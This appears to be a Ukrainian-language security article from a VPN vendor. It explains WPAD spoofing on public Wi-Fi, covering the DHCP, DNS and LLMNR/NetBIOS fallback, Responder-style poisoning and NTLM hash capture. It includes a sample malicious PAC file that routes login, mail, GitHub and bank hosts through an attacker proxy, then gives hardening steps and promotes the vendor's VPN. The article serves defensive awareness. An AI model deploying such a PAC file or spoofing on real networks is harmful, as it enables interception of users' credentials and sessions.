Ви сідаєте за столик у кав'ярні на переповненому вокзалі, підключаєте робочий лептоп до безкоштовного загальнодоступного Wi-Fi та запускаєте браузер для перевірки електронної пошти. В адресному рядку спокійно світиться піктограма захищеного з'єднання HTTPS. Система не показувала жодних сповіщень про помилки сертифікатів, ви не встановлювали сторонніх профілів і не відкривали підозрілих посилань. На перший погляд, безпека не викликає сумнівів. Проте насправді, без будь-яких повідомлень на екрані, операційна система щойно завантажила конфігураційний JavaScript-файл із невідомого комп'ютера в цьому ж залі, призначила його проміжним вузлом для всіх ваших веб-сесій і спрямувала конфіденційні куки безпосередньо крізь шлюз спостереження зловмисника.

Цей прихований метод атаки не потребує використання вразливостей нульового дня чи підбору паролів. Він спирається на застарілий протокол кінця 1990-х років, який і досі залишається типово увімкненим на сотнях мільйонів сучасних комп'ютерів: протокол автоматичного виявлення веб-проксі (Web Proxy Auto-Discovery, WPAD).

Витоки архітектури: Зручність ціною безпекових меж

Щоб осягнути небезпеку WPAD у відкритих мережах, варто згадати передумови його створення. Під час бурхливого розширення корпоративних мереж наприкінці 1990-х років системним адміністраторам був потрібен зручний механізм для автоматичного спрямування веб-трафіку співробітників крізь внутрішні кешувальні проксі-сервери без необхідності налаштовувати кожен комп'ютер вручну.

Специфікація, оформлена як чернетка IETF у 1999 році, створила протокол, що функціонує переважно у фоновому режимі. Щоразу під час підключення до нового мережевого інтерфейсу операційна система запускає серію опитувань із єдиною метою: з'ясувати, "Де розміщено файл автоматичного налаштування проксі (Proxy Auto-Configuration, PAC) для цієї мережі?"

[ Ноутбук користувача ]
       |
       | 1. Запит DHCP Inform (Опція 252) -> "Де розташований wpad.dat?"
       +---------------------------------------------> [ Локальний мережевий шлюз ]
       |                                                    (Немає відповіді)
       | 2. Запит DNS: wpad.local / wpad.cafe.internal
       +---------------------------------------------> [ Локальний DNS-резолвер ]
       |                                                    (Помилка NXDOMAIN)
       | 3. Групове опитування: LLMNR / NetBIOS "WPAD"
       +---------------------------------------------> [ Уся локальна підмережа Wi-Fi ]
                                                             |
                                                             v
                                               [ Зловмисник у тій самій мережі ]
                                               (Відповідає: "Я WPAD! Завантажуй мій PAC-файл!")

Головна архітектурна вразливість полягає в каскадному пошуку. Якщо головний шлюз мережі не відповідає, операційна система розширює радіус опитування, переходячи від цільових одноадресних запитів до неавтентифікованого широкомовного крику по всій локальній підмережі.

Каскад відкату: Відчинені двері для перехоплювачів

Коли Windows або браузери намагаються визначити параметри проксі, вони послідовно проходять такі кроки:

1. Параметр DHCP Option 252

Одразу після отримання IP-адреси клієнт надсилає пакет DHCPINFORM, перевіряючи, чи налаштував локальний DHCP-сервер Опцію 252. Якщо цей параметр активний, повертається пряма адреса конфігураційного файла (наприклад, http://192.168.1.1/wpad.dat). Проте маршрутизатори у громадських місцях майже ніколи не мають такого налаштування, тому початковий етап закінчується безрезультатно.

2. Ієрархічне опитування системи DNS

Коли варіант із DHCP 252 вичерпано, операційна система намагається розпізнати ім'я wpad, додаючи поточні суфікси домену. Наприклад, якщо мережа призначила суфікс corp.local, надсилається запит на wpad.corp.local. У разі невдачі перевіряється ім'я wpad.local. У недбало налаштованих публічних точках доступу це опитування може навіть виходити на реальні домени верхнього рівня (як-от wpad.com), спричиняючи небезпечні колізії імен, про які попереджав центр CERT/CC.

3. Локальні широкомовні протоколи LLMNR та NetBIOS

Якщо DNS повертає відсутність запису (NXDOMAIN), система активує останній і найбільш ризикований рівень: локальне групове мовлення. Ноутбук надсилає UDP-запит усім сусідам по підмережі Wi-Fi: "Чи знає хтось тут IP-адресу для WPAD?"

У спільному Wi-Fi зловмисник, що використовує інструменти автоматичного перехоплення (як-от Responder або Inveigh), пильно слухає ці пакети. Щойно ваш пристрій надсилає запит щодо wpad, атакуючий миттєво підробляє відповідь: "Я і є wpad. Завантажуйте файл конфігурації з мого сервера: 192.168.1.145/wpad.dat."

Операційна система довіряє фальшивій відповіді, з'єднується з сервером зловмисника, завантажує wpad.dat і миттєво застосовує нові правила маршрутизації до всього трафіку комп'ютера.

Будова шкідливого файла PAC: Вибіркова маршрутизація

Файл PAC — це не проста таблиця IP-адрес, а повноцінна програма мовою JavaScript, яка містить обов'язкову функцію: FindProxyForURL(url, host).

Під час кожного відкриття веб-сторінки система звертається до цієї функції. Зловмисник програмує логіку маршрутизації з хірургічною точністю:

function FindProxyForURL(url, host) {
    // Локальний та повсякденний трафік пропускаємо напряму, щоб не викликати підозр
    if (isPlainHostName(host) || dnsDomainIs(host, ".local")) {
        return "DIRECT";
    }

    // Перехоплюємо виключно важливі ресурси авторизації, пошту та банкінг
    if (dnsDomainIs(host, "login.microsoftonline.com") ||
        dnsDomainIs(host, "mail.google.com") ||
        dnsDomainIs(host, "github.com") ||
        shExpMatch(host, "*bank*")) {
        return "PROXY 192.168.1.145:8080; DIRECT";
    }

    // Решта звичайних сайтів відкриваються напряму
    return "DIRECT";
}

Спрямовуючи через підконтрольний сервер лише чутливі домени й залишаючи перегляд новин чи відео прямим, зловмисник зберігає високу швидкість з'єднання. Користувач не відчуває жодних затримок і не помічає стороннього втручання.

Що саме потрапляє до рук зловмисника

Щойно веб-трафік починає проходити крізь підроблений проксі:

  • Нешифрований HTTP-трафік: Прочитується цілком, включаючи паролі, сесійні ідентифікатори та адреси сторінок.
  • Шифровані HTTPS-з'єднання: Хоча вміст захищено за допомогою TLS, проміжний сервер отримує початковий запит HTTP CONNECT. Це розкриває ім'я сервера призначення (SNI), порт, час та тривалість сесії.
  • Зниження автентифікації та атаки ретрансляції NTLM: Фонові служби Windows під час взаємодії з проксі часто намагаються автоматично підтвердити особу через NTLM або Kerberos. Підроблений проксі може надіслати заголовок Proxy-Authenticate: NTLM, змушуючи пристрій жертви віддати хеші облікових даних для подальшого зламу або атак усередині корпоративних мереж.

Комплексна стратегія безпеки: Ліквідація прихованої пастки

Захист персональних та робочих пристроїв від маніпуляцій із WPAD передбачає вимкнення застарілих функцій автовиявлення та надійне шифрування мережевого каналу.

1. Вимкнення автоматичного визначення параметрів у системі

Якщо ви не працюєте в корпоративній мережі, де використання WPAD суворо передбачене регламентом, автоматичне виявлення слід вимкнути назавжди:

  • У Windows 11 та 10: Відкрийте Параметри, перейдіть до розділу Мережа й Інтернет > Проксі-сервер. У блоці Автоматичне налаштування проксі переведіть перемикач Автоматично визначати параметри у положення Вимк.
  • У macOS: Відкрийте Системні параметри, оберіть Мережа, натисніть на активний Wi-Fi, перейдіть до Докладно > Проксі та зніміть позначки з пунктів Автоматичне виявлення проксі та Автоматичне налаштування проксі.
  • У браузерах: У Firefox відкрийте Налаштування > Загальні > Параметри мережі та встановіть прапорець Без проксі-сервера або використання захищених системних налаштувань.

2. Блокування широкомовних протоколів LLMNR та NetBIOS

Заборона надсилання широкомовних повідомлень у локальну підмережу блокує зловмисникам можливість надсилати підроблені відповіді:

  • Запустіть Редактор локальної групової політики (gpedit.msc).
  • Перейдіть за шляхом Конфігурація комп'ютера > Адміністративні шаблони > Мережа > DNS-клієнт.
  • Знайдіть параметр Вимкнути розпізнавання багатоадресних імен і переведіть його в стан Увімкнено.

3. Надійна ізоляція трафіку за допомогою VPNRice

Хоча коригування параметрів операційної системи є важливим кроком, окремі програми та фонові служби можуть ігнорувати системні перемикачі й надсилати власні запити. Найбільш дієвий захист на загальнодоступному Wi-Fi — спрямувати всі вихідні пакети крізь стійкий зашифрований тунель VPNRice.

Використання клієнта VPNRice із протоколами RiceGuard або RiceGuardX усуває загрози в локальній мережі:

  • Захист від маніпуляцій локального шлюзу: Усі вихідні дані упаковуються в стійку криптографічну оболонку ще до того, як залишать бездротовий модуль. Підроблені DHCP-сервери та мережеві снифери у спільній мережі не здатні підсунути фейкові відповіді WPAD чи перехопити ваші запити.
  • Виділені зашифровані DNS-резолвери: Запити доменних імен прямують безпосередньо до приватних серверів VPNRice усередині тунелю, що запобігає відкату до LLMNR та локальному отруєнню DNS.
  • Сувора ізоляція мережевого адаптера: Брандмауер застосунку блокує будь-які сторонні зв'язки з сусідніми пристроями в мережі Wi-Fi, унеможливлюючи відхилення трафіку до проміжних шлюзів перехоплення.

Щоб упевнитися, що ваш комп'ютер не видає локальних мережевих маршрутів через браузерні механізми, скористайтеся тестом на витоки WebRTC від VPNRice та перевірте зовнішній маршрут за допомогою інструмента пошуку IP-адреси. Вимкнення застарілих протоколів виявлення та постійне криптографічне тунелювання гарантують конфіденційність вашої роботи у будь-яких загальнодоступних мережах.